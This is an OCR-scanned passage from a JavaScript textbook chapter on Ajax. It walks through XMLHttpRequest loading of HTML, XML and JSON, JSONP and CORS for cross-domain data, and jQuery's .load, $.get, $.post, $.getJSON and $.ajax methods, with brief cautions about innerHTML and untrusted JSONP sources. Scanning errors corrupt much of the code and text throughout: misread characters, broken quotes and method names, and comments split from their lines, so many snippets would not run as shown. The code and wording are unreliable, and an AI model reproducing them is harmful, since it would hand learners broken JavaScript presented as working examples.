asynchronous (this is a Boolean) 


3. Up to this point the browser 
has not yet contacted the server 
to request the new HTML. 

This does not happen until 
the script gets to the last line 
that calls the XMLHttpRequest 
object’s send() method. The 
send() method requires an 
argument to be passed. If there 
is no data to send, you can just 
use null. 


4, The object’s onload event will 
fire when the server responds. It 
triggers an anonymous function. 

5. Inside the function, a 
conditional statement checks 
if the status property of the 
object ts 200, indicating the 
server responded successfully. 

If the example is run locally, 
there will be no response so you 
cannot perform this check. 


JAVASCRIPT 


cQS/js/data«html . js 


© var xhr = new XMLHttpRequestO ; // 

© xhr. onload = functionQ { // 

// The following conditional check will not work 
@ if (xhr. status === 200) { // 

© document . get El ementBy Id ( 1 content 1 ) . i nnerHTML = 

} 

h 


Create XMLHttpRequest object 

When response has loaded 
locally - only on a server 
If server status was ok 
xhr. responseText; // Update 


© xhr.openf'GET 1 , 1 data/data. html 1 , true); 
© xhr. send (nul 1 ) ; 


// Prepare the request 
// Send the request 


6. Finally, the page is updated: document .getElementById( 'content 1 ) .innerHTML = xhr, responseText; 



A) The dement that will contain 
the new HTML is selected. 

(Here it is an element whose id 
attribute has a value of content.) 


B) The i nnerBTML property 
replaces the content of that 
element with the new HTML that 
has been sent from the server 


C) The new HTML is retrieved 
from the XMLHttpRequest 
object's responseText property. 


Remember that i nnerHTML should only be used when you know that the server will not return malicious content. 
All content that has been created by users or third parties should be escaped on the server (see p228X 
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LOADING XML 
WITH AJAX 


Requesting XML data is very similar to requesting HTML. However, 
processing the data that is returned is more complicated because the 
XML must be converted into HTML to be shown on the page. 


On the right-hand page, you can 
see that the code to request an 
XML file is almost identical to 
the code to request an HTML 
file shown on the previous page. 
What changes is the part ins/cfe 
the conditional statement that 
processes the response (points 
1-4 on the right-hand page). The 
XML must be turned into HTML, 
The structure of the HTML for 
each event is shown below. 

1. When a server responds with 
XML, it can be obtained using 
the responseXML property of the 
XMLHttpRequest object. Here, 
the XML returned is stored in a 
variable called response. 


2. This is followed by the 
declaration of a new variable 
called events, which holds all of 
the <event> elements from the 
XML document. (You saw the 
XML file on p375.) 

3, The XML file is then 
processed using the DOM 
methods you learned about 
in Chapter 5 . First, the for 
loop goes through each of the 
<event> elements, collecting 
the data stored in their child 
elements, and placing it into new 
HTML elements. 

Each of those HTML elements is 
then added into the page. 


4. Inside the for loop, you 
will see the getNodeValue() 
function is called several times. 
Its purpose is to get the contents 
from each of the XML elements. 
It takes two parameters: 

i) obj is an XML fragment. 

10 tag is the name of the tag you 
want to collect the information 
from. 

The function looks for the 
matching tag within the XML 
fragment (using the DOM's 
get El ementsByTagName ( ) 
method). It then gets the text 
from the first matching element 
within that fragment, 


The XML for each event is being transformed into the following HTML structure: 


HTML 


<div cl ass="event'‘> 

<img sr c= a file. png" alt=" Location" /> 
<p><b>Location</b><br />Event date</ p> 
</di v> 
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JAVASCRIPT 


cOS/js/data-xml * js 


var xhr = new XMLHttpRequestO; // Create XMLHttpRequest object 

xhr, onload = function () { // When response has loaded 

// The following conditional check will not work locally - only on a server 
if (xhr. status === 200) { // If server status was ok 


// THIS PART IS DIFFERENT BECAUSE IT IS PROCESSING XML NOT HTML 
(T) var response = xhr.responseXML; // Get XML from the server 

( 2 ) var events = response.getElementsByTagName( ' event ') ; // Find <event> elements 


for {var i = 0; i < events .length; i++) { 
var container, image, location, city, newline; 
container = document. createElement ( ' di v' } ; 
container. className = 'event 1 ; 


// Loop through them 
// Declare variables 
// Create <div> container 
// Add class attribute 


Image = document. created ement (' img ') ; // Add map image 

image. setAttribute( ' src ' , getNodeVal ue(events[i] , 'map 1 )); 
image. appendChild(document.createTextNode(getNodeValue(events[i] , 'map' ))) ; 
contai ner.appendChi Id (image) ; 


(1> 


location = document. createEl ement( ' p' ) ; // Add location data 

city = document .createElement (' b' ) ; 
newline = document. createEl ement (' br ' ) ; 

city .appendChi Id (document. createText Node (getNodeVal ue (event s [i ] , 1 1 ocation ' ) ) ) ; 
1 ocation. appendChi 1 d(newl ine) ; 
location. insertBefore (city, newline) ; 

location. appendChi Id (document. createTextNode (getNodeVal ue (events [i] , 'date' ) ) ) ; 
contai ner.appendChi Id (location) ; 


document. get El ementById( ' content ' ) .appendChi 1 d(container) ; 

L) 

'function getNodeValue(obj , tag) { // Gets content from XML 

(4> return obj . get El ementsByTagName(tag) [0] .firstChi 1 d.nodeVal ue; 


// THE FINAL PART IS THE SAME AS THE HTML EXAMPLE BUT IT REQUESTS AN XML FILE 

} 

h 

xhr. open (' GET ' , 1 data/data. xmT , true); // Prepare the request 

xhr.send(nul 1 ) ; // Send the request 
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LOADING JSON 
WITH AJAX 


The request for JSON data uses the same syntax you saw in the requests 
for HTML and XML data. When the server responds, the JSON will be 
converted into HTML. 


When JSON data is sent from 
a server to a web browser, it is 
transmitted as a string. 

When it reaches the browser, 
your script must then convert 
the string into a JavaScript 
object. This is known as 

deserializing an object. 

This is done using the parse { ) 
method of a built-in object called 
JSON. This is a global object, so 
you can use it without creating 
an instance of it first. 


Once the string has been parsed, 
your script can access the data 
in the object and create HTML 
that can be shown in the page. 

The HTML is added to the page 
using the i nnerHTML property. 
Therefore, it should only be used 
when you are confident that it 
will not contain malicious code 
(see XSS on p228). 

This example will look the same 
as the last two examples when 
you view it in a web browser. 


The JSON object also has a 
method called strl ngl fy () r 
which converts objects into a 
string using JSON notation so 
it can be sent from the browser 
back to a server. This is also 
known as serializing an object. 

This method can be used when 
the user has interacted with the 
page in a way that has updated 
the data held in the JavaScript 
object (e,g +f filling in a form), 
so that it can then update the 
information stored on the server 


Here you can see the JSON data that is being processed again (it was 
introduced on p377). Note how it is saved with the • json file extension. 


cG8/data/data* json 


JAVASCRIPT 


t 

"events": [ 

( "1 ocati on" : 
{ "location": 
{ “location”: 

] 


"San Francisco, CA", "date": "May 1", “map": n img/map-ca .png" }, 
"Austin, TX", "date": "May 15", ”map“: "img/map-tx.png“ }, 

"New York, NY", "date": “May 30", "map": "img/map-ny.png") 
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1 The JSON data from the server 
is stored in a variable called 
responseObject. It is made 
available by the XMLHttpRequest 
object's responseText property 

When it comes from the server, 
the JSON data is a string, so it 
is converted into a JavaScript 
object using the JSON object’s 
parse () method. 


2* The newContent variable is 
created to hold the new HTML 
data. It is set to an empty string 
outside the loop so that the code 
in the loop can add to the string. 

3. Loop through the objects that 
represent each event using a for 
loop. The data in the objects are 
accessed using dot notation, just 
like you access other objects. 


Inside the loop, the contents 
of the object are added to the 
newContent variable, along 
with their corresponding HTML 
markup, 

4, When the loop has finished 
running through the event 
objects in responseObject, the 
new HTML is added to the page 
using the tnnerHTML property. 


JAVASCRIPT 


c 08 /js/datd-json,js 


© 


var xhr = new XMLHttpRequest (); 

xhr. onload = function{) { 
i f (xhr. status === 200) { 

responseObject = JSON. parse(xhr. responseText) ; 


// 

// 

// 


Create XMLHttpRequest object 

When readystate changes 
If server status was ok 


// BUILD UP STRING WITH NEW CONTENT (could also use DOM manipulation) 

© var newContent = 

for (var i = 0; i < responseObject. events. 1 ength; i++) {//Loop through object 
newContent += '<div class="event">' ; 

newContent += '<img src="’ + responseObject. events [i] .map + 1,1 
newContent += 'alt='“ + responseObject. eventsfi] .location + 1 " />'; 

'“' r newContent += '<p><b>' + responseObject. events[i] .location + '</b><br>'; 
newContent += responseObject. events[i] .date + '</p>'; 
newContent += ' </di v> ' ; 

. } 

// Update the page with the new content 
© document. getEl ementById( ' content ') .innerHTML = newContent; 

} 

}; 


xhr. open { 'GET' , 'data/data. j son ' , true) ; 
xhr. send (nul 1 ) ; 


// Prepare the request 
// Send the request 
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WORKING WITH DATA 
FROM OTHER SERVERS 


Ajax works smoothly with data from your own server but - for security 
reasons - browsers do not load Ajax responses from other domains 
(known as cross-domain requests). There are three common workarounds. 


A PROXY FILE ON THE 
WEB SERVER 

The first way to load data from 
a remote server Is to create 3 
file on your server that collects 
the data from the remote server 
(using a server-side language 
such as ASP.net, PHP, NodeJS, or 
Ruby), The other pages on your 
site then request the data from 
the file on your server (which 
in turn gets it from the remote 
server). This is called a proxy, 
because it acts on behalf of the 
other page. 

Because this relies upon creating 
pages in server-side languages, it 
is beyond the scope of this book. 


JSONPCJSON WITH 
PADDING) 

JSONP (sometimes written 
JSON-P) involves adding a 
<scri pt> element into the page, 
which loads the JSON data 
from another server. This works 
because there are no restrictions 
on the source of script in a 
<script> element. 

The script contains a call to 
a function, and the JSON’ 
formatted data is provided as an 
argument to that function. The 
function that is called is defined 
in the page that requests the 
data, and is used to process and 
display the data. See next page. 


ALTERNATIVES 

Many people use jQuery when 
making requests for remote data, 
as it simplifies the process and 
handles backward compatibility 
for older browsers. As you can 
see in the next column, support 
for new approaches is an issue. 


CROSS-ORIGIN 
RESOURCE SHARING 

Every time a browser and 
server communicate, they 
send information to each other 
using HTTP headers, Cross- 
Origin Resource Sharing or 
CORS involves adding extra 
information to the HTTP headers 
to let the browser and server 
know that they should be 
communicating with each other, 

CORS is a W3C specification, 
but is only supported by the 
most recent browsers and - 
because it requires setting up of 
HTTP headers on the server - is 
beyond the scope of this book. 


CORS SUPPORT 

Standard support is as follows: 
Chrome 4, FF3,5, IE10, Safari 4 
Android 2,1, iOS 3.2 

IES+9 used a non-standard 
XDomainRequest object to 
handle cross-origin requests. 
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HOW JSONP WORKS 


First, the page must include a 
function to process the JSON data. 
It then requests the data from the 
server using a <scri pt> element. 

BROWSER 

The HTML page will use two pieces of JavaScript: 

1< A function that will process the JSON data that the 
server sends. In the example on the next page, the 
function is called showEventsQ, 

2. A <scri pt> element whose src attribute will 
request the JSON data from the remote server, 

<$cript> 

function showEvents(data) ( 

// Code to process data and 
// display it in the page here 

} 

</script> 

<script src-"http://example.org/jsonp"> 
</scri pt> 


The server returns a file that calls 
the function that processes the 
data. The JSON data is provided 
as an argument to that function. 

SERVER 

When the server responds, the script contains a 
call to the named function that will process the data 
(that function was defined in step 1). This function 
call is the 'padding" in JSONP, The JSON-formatted 
data is sent as an argument to this function. 

So, in this case, the JSON data sits inside the call to 
the showEventsO function. 

showEvents{{ 

"events": [ 
t- 

"location": "San Francisco, CA", 
"date": "May 1% 

"map": "img/map-ca ♦png" 

}... 

] 

}); 


It is important to note that there is no need to use the JSON object's parse () or stri ngi fy{) methods when 
working with JSONP. Because the data is being sent as a script fite (not as a string), it will be treated as an object. 


The file on the server is often written so that you can specify the name of the function that will process the data 
that is returned- The name of the function is usually given in the query string of a URL: 
http://exampl e .org/upcomi ngEvents . php?cal Iback-showEvents 
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USING JSONP 


This example looks the same as 
the ISON example, but the event 
details come from a remote 
server. Therefore, the HTML 
uses two <scri pt> elements, 


The first <script> element loads 
a JavaScript file that contains the 
the showEventsQ function. This 
will be used to display the deals 
information, 


The second <$cri pt> element 
loads the information from a 
remote server. The name of the 
function that processes the data 
Is given in the query string, 


c08/ d a t a - j son p , h tm 1 


HTML 


<script src =,1 j s/data- jsonp. js ,l ></script> 

<script src= ,, http://deciphered.com/js/jscmp. js?cal lback=showEvents , ’></scri pt> 
</body> 

</html > 


cG8/ j s/data- jsonp.js 

function showEvents(data) { 
var newContent = 1 1 ; 


JAVASCRIPT 


// Callback when JSON loads 
// Variable to hold HTML 


// BUILD UP STRING WITH NEW CONTENT (could also use DOM manipulation) 


©- 


for (var i * 
newContent 
newContent 
newContent 
newContent 
newContent 
newContent 

} 


0 ; 

+= 

-t-= 

+= 

+= 

+= 

+B 


i < data, events .length; i++) { 

'<div class= N event fl > 1 ; 

■<img src= ,M + data, events [i] .map + 

1 aT t= ” * + dat a, events [i] , 1 ocat ion + 
'<p><b> J + data. events [i] , location + 
data , events [i] .date + '</p> J ; 

1 </d i v> 1 ; 


// Loop through data 


1 />'; 
'</b><br>' ; 


// Update the page with the new content 

document. getE1ementById('content' ) .innerHTML ~ newContent; } 


1. The code in the for loop 
(which is used to process the 

JSON data and create the 
HTML) and the line that writes it 
into the page are the same as the 
code that processed the JSON 
data from the same server. 


There are three key differences: 

i) It is wrapped in a function 
called showEventsO, 

ii) The JSON data comes in as an 
argument of the function call. 

iii) The data does not need to be 
parsed with JSON * parse ( ) A n 
the for loop, it is just referred to 
by the parameter name data. 


Instead of using a second 
<scri pt> element in the HTML 
pages, you can use JavaScript 
to write that <scri pt> element 
into the page (just like you would 
add any other element into the 
page). That would place all the 
functionality for the external 
data in the one JavaScript file. 
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JSONP loads JavaScript, and 
any JavaScript data may contain 
malicious code. For this reason, 
you should load data only from 
trusted sources. 


JAVASCRIPT 


Since JSONP is loading data from 
a different server, you might add 
timer to check if the server has 
replied within a fixed time (and, 
if not show an error message). 


You will see more about handling 
errors in Chapter 10, and there is 
an example of a timer in Chapter 
11 (where you create a content 
slider). 

: / /html andcs shook . com/j s / j sonp * j s 


showEvents ( { 

"events' 1 : [ 

{ 

"location": "San Francisco, CA", 
"date": "May 1", 

"map": "irng/map-ca-png' 1 

}, 

{ 

"location": "Austin, TX", 

"date": "May 15", 

" map": 11 i mg /ma p - 1 x . pn g " 

J. 

{ 

“location": "New York, NY", 
"date": "May 30", 

"map" : "img/map-ny .png" 

} 

] 

}}; 


RESULT 


The bus stops here. 



The file that is returned from 
the server wraps the JSON- 
formatfed data inside the calf 
totheshowEventsO function. 
So the showEvents () function 
is only called when the browser 
has loaded this remote data. 
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JQUERY & AJAX 
REQUESTS 


jQuery provides several methods that handle Ajax requests. 

Just like other examples in this chapter, the process involves two steps: 
making a request and handling the response. 


Here you can see the six ways 

METHOD /SYNTAX 

DESCRIPTION 

jQuery lets you make Ajax 
requests. The first five are all 
shortcuts for the $ . ajax ( } 
method, which you meet last. 

.load{) 

Loads HTML fragments into an element 

It is the simplest method for retrieving data 

$ .get (3 

Loads data using the HTTP GET method 

Used to request data from the server 

The .1oad() method operates 
on a jQuery selection (like most 
jQuery methods). It loads new 
HTML content into the selected 
element(s). 

$.post{) 

Loads data using the HTTP POST method 

Used to send data that updates data on server 

$. get JSON () 

Loads JSON data using a GET request 

Used for JSON data 

You can see that the other five 
methods are written differently. 
They are methods of the global 
jQuery object which is why 
they start with $. They only 
request data from a server; they 
do not automatically use that 
data to update the elements of 
a matched set, which is why the 

J symbol is not followed by a 
selector. 

$ . getScri pt { ) 

Loads and executes JavaScript data using GET 
Used for JavaScript (e,g, r JSONP) data 

$ . a j ax 0 

This method is used to perform all requests 

The above methods all use this under the hood 

When the server returns data, 
the script needs to indicate what 
to do with it. 
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JQUERY & AJAX: 
RESPONSES 


When using the . load () method, the HTML returned from the server is 
inserted into a jQuery selection. For the other methods, you specify what 
should be done when the data that is returned using the jqXHR object. 


JQXHR PROPERTIES 

DESCRIPTION 

responseText 

Text-based data returned 

responseXML 

XML data returned 

status 

Status code 

statusText 

Status description (typically used to display 
information about an error if one occurs) 

JQXHR METHODS 

DESCRIPTION 

■done() 

Code to run if request was successful 

.fail 0 

Code to run if request was unsuccessful 

.alwaysQ 

Code to run if request succeeded or failed 

, abort () 

Halt the communication 


jQuery has an object called 
jqXHR, which makes it easier to 
handle the data that is returned 
from the server. You will see its 
properties and methods (shown 
in the tables on the left) used 
over the next few pages. 


Because jQuery lets you 
chain methods, you can use 
the .doneO, .fail (), and 
.alwaysf) methods to run 
different code depending on the 
outcome of loading the data. 


RELATIVE URLS 

If the content you load via Ajax 

T This HTML file uses Ajax to 

© 

contains relative URLs (e.g., 

load content from a page in the 

images and links) those URLs 

folder shown in step 2. 


get treated as if they are relative 

2. The page in the this folder has 


to the original page that was 

an image whose path is a relative 

CD 

loaded. 

link to the second folder: 

If the new HTML is in a different 

<img src="img/box.gif" /> 

3, The HTML fife cannot find the 


folder from the original page, the 

image as the path is no longer 

CD 

relative paths could be broken. 

correct - it is not in a child folder. 


? ■ 
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LOADING HTML INTO A 
PAGE WITH JQUERY 


The . 1 oad ( ) method is the simplest of the jQuery Ajax methods, 
it can only be used to load HTML from the server, but when the server 
responds, the HTML is then loaded into the jQuery Selection for you. 


JQUERY SELECTOR 

You start by selecting the 
element that you want the 
HTML code to appear inside. 


URL OF THE PAGE 

Then you use the . 1 oad ( } 
method to specify the URL of the 
HTML page to load. 


SELECTOR 

You can specify that you want to 
load only part of the page (rather 
than the whole page). 


$( 1 #content 1 ) . load ( 'jq-ajax3.html #content ' ) ; 
1 © 1 1 ® 1 1 — ® — ' 


1. This creates a jQuery object 
with the element whose id 
attribute has a value of content. 


2. This is the URL of the page 
you want to load the HTML from. 
There must be a space between 
the URL and the selector in step 3. 


3. This is the fragment of the 
HTML page to show. Again, it is 
the section whose i d attribute 
has a value of content. 


Here, links in the top right corner 
take the user to other pages. If 
the user has JavaScript enabled, 
when they click on a link, code 
inside the .on() event method 
stops it from loading a whole 
new page. Instead, the Joad() 
method will replace the area 
highlighted in pink (whose id 
attribute has a value of content) 
with the equivalent area from 
the page that the user just 
requested. Qniy the pink area is 
refreshed - not the whole page. 
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LOADING CONTENT 


When users dick on any of the 
links in the <nav> element, one 
of two things will occur: 

tf they have JavaScript enabled, 
a click event will trigger an 
anonymous function that loads 
new content into the page. 

If they do not have JavaScript 
enabled, they will move from 
page to page as normal 


JAVASCRIPT 


Inside the anonymous function, 
five things happen: 

1. e-preventDefault() stops 
the link taking users to a new 
page. 

2, A variable called url holds the 
URL of the page to load. This is 
collected from the href attribute 
of the link the user clicked on. It 
indicates which page to load. 


3. The cl ass attributes on the 
links are updated to indicate 
which page is the current page. 

4. The element holding the 
content is removed. 

5. The container element is 
selected and ,load() fetches 
new the new content, ft is hidden 
straight away using ,hide() so 
that fadelnQ can fade Et in, 

c08/js/jq-load,js 


${ r nav a') .onf'cl ick' , function(e) { 

© e * preventDef aul t (} ; 

© var url - this. href; 

$('nav a -current 1 ) -removed ass (Current 1 ) ; 

$ (this) .addCl ass ( 1 current 1 ) ; 

® $( 1 Container V) * removed ; 

© $ ( 1 ^content ' ) .1 oadfurl + J #content 1 ) .hide(} - fadel 

})s 


// User cl icks nav 1 ink 
// Stop loading new 1 ink 
// Get value of href 

// Clear current indicator 
// New current indicator 

// Remove old content 
n^slow 1 ); // New content 


HTML 


<nav> 

<a href-^jq-load^html" class= ,t current ,, >Home</a> 
<a href= 1 ' jq-1oad2.html ">Route</a> 

<a h ref =" jq-load3.html ,J >Toys</a> 

</nav> 

<section id= ,5 content"> 

<div id =11 container 1 ^ 

<!-- Page content lives here 
</di v> 

</secti on> 


cOS/jq-load.html 


The links still work if JavaScript is not enabled. If JavaScript is enabled, jQuery will load content into the <di v> 
whose 1 d has a value of content from the target URL, The rest of the page does not need to be reloaded. 
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JQUERY'S AJAX 
SHORTHAND METHODS 


jQuery provides four shorthand methods to 
handle specific types of Ajax requests. 


The methods below are all 
shorthand methods. If you 
looked at the source code for 
jQuery, you would see that they 
atl use the $.ajax() method. 

You will meet each one over the 
next few pages because they 
introduce key aspects of the 
$,ajax{) method. 


These methods do not work on 
a selection like other jQuery 
methods, which is why you prefix 
them with only the $ symbol 
rather than a jQuery selection. 
They are usually triggered by an 
event, such as the page having 
loaded or the user interacting 
with the page (e.g„ clicking on a 
link, or submitting a form). 


With an Ajax request, you will 
often want to send data to the 
server which will in turn affect 
what the server sends back to 
the browser. 

As with HTML forms (and the 
Ajax requests you met earlier in 
the chapter), you can send the 
data using HTTP GET or POST 


METHOD /SYNTAX 

DESCRIPTION 

S.get (urlh dotoH* callback] [ ? type]) 

HTTP GET request for data" 

$. post (url [, data ] [, callback] [, type]) 

HTTP POST to update data on the server 

$ , getJSON (c/r Z [ » doto] [, callback]) 

Loads JSON data using a GET request 

$,get$cript{uH [, cal Iback ] } 

Loads and executes JavaScript (e,g. P iSONP) using a GET request 


The parameters in square brackets are optional, 

t shows that this is a method of the jQuery object. 

url specifies where the data is fetched from, 

data provides any extra information to send to the server. 

cal Iback indicates that the function should be called when data is returned (can be named or anonymous). 
type shows the type of data to expect from the server 

Note: The examples in this section only work on a web server (and not on local fife systems). Server-side 
languages and server setup are beyond the scope of this book, but you can try out the examples on our website, 
PHP files have been included with the download code, but they are for demonstration purposes only. 
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REQUESTING DATA 


here, users vote for their favorite 
t-shirt without leaving the page, 

1. If users click on a t-shirt an 
anonymous function is triggered. 

2. e.PreventDefaul t() stops 
the link opening a new page. 

3- The user's choice is the value 
of the i d attribute on the image. 
It is stored in a variable called 
queryStri ng in the format of a 
query string, e.g., vote=gray 


4, The $ - get { } method is called 
using three parameters; 

I) The page that will handle the 
request (on the same server). 

ii) The data being sent to the 
server (here it is a query string, 
but it could be JSON), 

iii) The function that handles 
the result the server sends back; 
in this case it is an anonymous 
function. 


When the server responds, the 
anonymous callback function 
handles the data. In this case, 
the code in that function selects 
the element that the held the 
t-shirts and replaces it with the 
HTML sent back from the server. 
This is done using (Query's 
. html () method. 


JAVASCRIPT 


© $('#selector a’J.onCclick’, function(e) { 

(?) e.preventDefault(); 

© var queryStri ng = 'vote =l + event. target. id; 

(?) $. get (' votes. php' , queryString, function (data) { 

© SClselector’J.html (data) ; 

}); 

}); 


cOa/Js/jq-get. js 


(This HTML is created by code inside the JS file*) 


<div class="third"><a href="vote.php?vote=gray ,I > 

<img src^'img/l-gray.png" ■id= ,, gray ,, alt="gray 11 /></a></div> 

<div class =,l thi rd^xa href-" vote. php?vote=yel low n > 

<img src- n img/t-yel low.png*' id= y yel low" al t="yel low" /></a></div> 

<div cl ass^'thf rd ,f ><a href= ,I vote*php?vote=green ,t > 

<img src^'img/t-green.png" id- M green“' alt= l, green" /></a></div> 

The t-shirt links are created 
in the JavaScript file to ensure 
they only show if the browser 
supports JavaScript (the 
resulting HTML structure is 
shown above). When the server 
responds, it does not have to 
send back HTML; it can return 
any kind of data that the browser 
can process and use. 
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SENDING FORMS 
USING AJAX 


To send data to the server, you are likely to use the .post () method. 
jQueryalso provides the .serial ize() method to collect form data. 


SENDING FORM DATA 
The HTTP POST method is often used when sending 
form data to a server and it has a corresponding 
function, the . post () method. It takes the same 
three parameters as the ,get() method: 

i) The name of the file on the (same) server that will 

process the data from the form 

it) The form data that you are sending 

iii) The callback function that will handle the 

response from the server 

On the right-hand page you can seethe $ .post{) 
method used with a method called , seri al 7 ze{ ) . 
which is very helpful when working with forms. 
Together they send the form data to the server. 


COLLECTING FORM DATA 

jQuery's . serial ize{) method: 

• Selects all of the information from the form 

• Puts it into a string ready to send to the server 

• Encodes characters that cannot be used in a 
query string 

Typically it will be used on a selection containing 
a <f onp element (although it can be used on 
individual elements or a subsection of a form) 

It will only send successful f orm controls, which 
means it will not send: 

• Controls that have been disabled 

• Controls where no option has been selected 

• The submit button 


SERVER-SIDE 

When a server-side page handles a form, you might 
want the same page to work whether: 

• It was a normal request for a web page (in which 
case you would send the whole page); or 

• It was an Ajax request (where you might respond 
with just a fragment of the page) 


On the server, you can check whether a page is 
being requested by an Ajax call using the 
X-Requested-With header. 

If it Is set and has a value of XMLHttpRequest, you 
know that the request was an Ajax request. 
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SUBMITTING FORMS 


1. When users submit the form, 
an anonymous function runs. 

2. e.PreventDefaul t() stops 
the form from submitting. 

3. The form data is collected by 
the .serial ize{) method and 
stored in the detai I s variable. 


4* The $ , post ( ) method is 
called using all three parameters: 

i) The url of the page that the 

data is being sent to 

ii> The data that was just 

collected from the form 

iii> A callback function that will 

display the results to the user 


5. When the server responds, 
the content of the element 
whose id attribute has a value 
of regi ster is overwritten with 
new HTML sent from the server. 


JAVASCRIPT 


cOB/js/jq-post, js 


© ${ ’#regi ster') .on(' submit 1 , function(e) { 

© e.preventOefaultO ; 

© var details = $( *#reg1 ster 1 ) . serial 1ze( ) ; 

© $.post( 'regi ster. php 1 , details, function (data) 
© $ ('#regi ster' ) .html (data) ; 

)); 

}); 


// When form is submitted 
// Prevent it being sent 
// Serialize form data 
{ // Use $,post{) to send it 

// Where to display result 


HTML 


c08/jq- post. html 


<form id^'register 3 ' action =,i regi ster. php” method- ll post ,E > 

<h2>Register</h2> 

<label f or- " name M >Username</label>< input type- "text 11 id="name 11 name= ,, name ,t /> 
<label for^ ,, pwd tl >Password</label><input type^'password 11 id= lt pwd" name^'pwd 11 /> 
<1abel for= rt email 11 >Emai 1 </l abel >< input type= ,r email 11 id= 11 email" name® "email 11 /> 
<input type- 11 submit 11 value="Join tl /> 

</fom> 



This example needs to be run 
on a web server. The server-side 
page will return a confirmation 
message (but it does not 
validate the data submitted nor 
send a confirmation email). 
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LOADING JSON & 
HANDLING AJAX ERRORS 


You can load JSON data using the $ . getJSON ( ) method. 

There are also methods that help you deal with the response if it fails. 


LOADING JSON 

If you want to load JSON data, there is a method 
called {.get JSON () which will retrieve JSON from 
the same server that the page is from. To use JSONP 
you should use the method called $.get$cnpt(). 

AJAX AND ERRORS 

Occasionally a request for a web page will fail 
and Ajax requests are no exception. Therefore, 
jQuery provides two methods that can trigger code 
depending on whether the request was successful or 
unsuccessful, along with a third method that will be 
triggered in both cases (successful or not). 

Below is an example that will demonstrate these 
concepts. It loads fictional exchange rates. 


SUCCESS / FAILURE 

There are three methods you can chain after 
S.get (), $.post{), $ .getJSON () r and $.ajax() to 
handle success / failure. These methods are: 

.done() - an event method that fires when the 

request has successfully completed 

*fai 1 () * an event method that fires when the 

request did not complete successfully 

. a! ways ( ) “ an event method that fires when the 

request has completed (whether it was successful or 

not) 

Older scripts may use the .success (). * error (), 
and ,C0Enp1ete() methods instead of these methods. 
They do the same thing, but these newer methods 
have been the preferred option since jQuery 1.8. 


Exchange Rates 


Exchange Rates 

m\JK; 20.00 
®US: 35.99 
dAU: 39.99 


Sorry, we cannot load rates. 

/■* it 

Last update: 15:34 


ffcS 

r* 



ns 
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JSON & ERRORS 


1. In this example, JSON data 
representing currency exchange 
rates is loaded into the page by a 
function called 1 oadRates () . 

2. On the first line of the script 
an element is added to the page 
to hold the exchange rate data. 

3. The function is called on the 
last fine of the script. 


JAVASCRIPT 


4. fnside 1 oadRates {), the 

5. geUSQN method tries to load 
some JSON data. There are 
three methods chained after this 
method. They do not all run, 

5. ,done() only runs if the 
data Is retrieved successfully, ft 
contains an anonymous function 
that shows exchange rates and 
the time they were displayed. 


6. . fai 1 () only runs if the server 
cannot return the data. Its job is 
to display an error message to 
the user. 

7. . always () will run whether 
or not the answer was returned. 

It adds a refresh button to 

the page, along with an event 
handler that triggers the 
l oadRatesO function again. 

c08/js / j q-get JSON * j s 


© $( [ #exchangerates‘) . append ( 1 <di v id="rates ll ></di v><di v id= T, reload N ></di v>* ) ; 


© function 1 oadRates () { 

© $. get JSON ( 1 data/rates. j son 1 ) 

© .done( function(data) { 
var d = new Date(); 
var hrs = d.getHoursQ ; 
var mins = d.getMi nutesQ ; 
var msg = '<h£>Exchange Rates</h2>'; 

$.each(data* function(key, val) { 
msg += *<div class-" 1 + key + 1 *■>' + key +~ l : 

}): ~ 

msg += l <br>Last update: 1 + hrs + ’ + mins + 

$ ( 1 #rates ' ) . html (msg) ; 

© }) .fail ( function() { 

${ 'aside J ) . append f 1 Sorry, we cannot load rates. 1 }; 
© }).always( function{) { 

var reload - r <a id= M refresh" href= ll # li > 1 ; 
reload +- l <img src= H i mg/refresh. png" al t- ,c refresh 
$( ( #rel oad 1 ) .html (reload) ; 

$( ^refresh 1 ) .on (' cl ick r , function(e) { 
e.preventDefaul t() ; 

1 oadRates (} ; 

1 ); 

J): 


// SERVER RETURNS DATA 
// Create date object 
// Get hours 
// Get mins 
// Start message 
// Add each rate 
+ val + f </div>’ ; 

<br> [ ; // Show update time 
// Add rates to page 
// THERE IS AN ERROR 
// Show error message 
// ALWAYS RUNS 
// Add refresh link 
/></&>' ; 

// Add refresh link 
// Add click handler 
// Stop link 
// Call loadRates{) 


© loadRatesQ; 


//Call 1 oadRatesO 
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AJAX REQUESTS WITH 
FINE-GRAINED CONTROL 


The $ . aj ax ( ) method gives you greater control over Ajax requests. 
Behind the scenes, this method is used by all of jQuery’s Ajax 
shorthand methods. 


inside the jQuery file, the $.ajax() method is used 
by the other Ajax helper methods that you have seen 
so far (which are offered as a simpler way of making 
Ajax requests). 

This method offers greater control over the entire 
process, with over 30 different settings that you 
can use to control the Ajax request. You can see a 
selection of these settings in the table below. These 
settings are provided using object literal notation 
(the object is referred to as the settings object). 


The example on the right-hand page looks and works 
tike the one that demonstrated the . 1 oad (} method 
on p390. But it uses the $ . ajax () method instead. 

• The settings can appear in any order, as long as 
they use valid JavaScript literal notation, 

• The settings that take a function can use a named 
function or an anonymous function written inline. 

• $ . ajax ( ) does not let you load just one part of 
the page so the jQuery ,find{) method is used 
to select the required part of the page- 


SETTING 

DESCRIPTION 

type 

Can take values GET or POST depending on whether the request is made using HTTP GET or POST 

url 

The page the request is being sent to 

data 

The data that is being sent to the server with the request 

success 

A function that runs if the Ajax request completes successfully (similar to the .done() method) 

error 

A function that runs if there is an error with the Ajax request (similar to the , fai 1 () method) 

beforeSend 

A function (anonymous or named) that is run before the Ajax request starts 

In the example on the right, this is used to trigger a loading icon 

complete 

Runs after success/error events 

In the example on the right, this removes a loading icon 

timeout 

The number of milliseconds to wait before the event should fai! 
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CONTROLLING AJAX 


When the user dicks on a link in 
the <nav> element, new content 
is loaded into the page. This is 
very similar to the example on 
p390 for the * 1 oad ( ) method, 
but that shorthand method only 
required one line. 

1. Here the click event handler 
triggers the $. ajax () method. 


This example sets seven settings 
for the $, ajax () method. 

The first three are properties, 
the final four are anonymous 
functions triggered at different 
points in the Ajax request. 

2. This example sets the timeout 
property to wait two seconds for 
the Ajax response. 


3. The code also adds elements 
into the page to show that data 
is loading. You may not see them 
appear if the request is handled 
quickly, but you will see them if 
the page is slower to load. 

4. If the Ajax request fails, then 
an error message will be shown 
to the user. 


JAVASCRIPT 


© $('nav a') .on {'click' , function(e) { 
e.preventDefault{) ; 
var url = this. href; 
var $content - $ ( '#content' ) ; 

$('nav a. cur rent') .removed ass (‘current 1 }; 
$(this) .addd ass ( ' current ' ) ; 

$( ' #container ' ) . remove () ; 

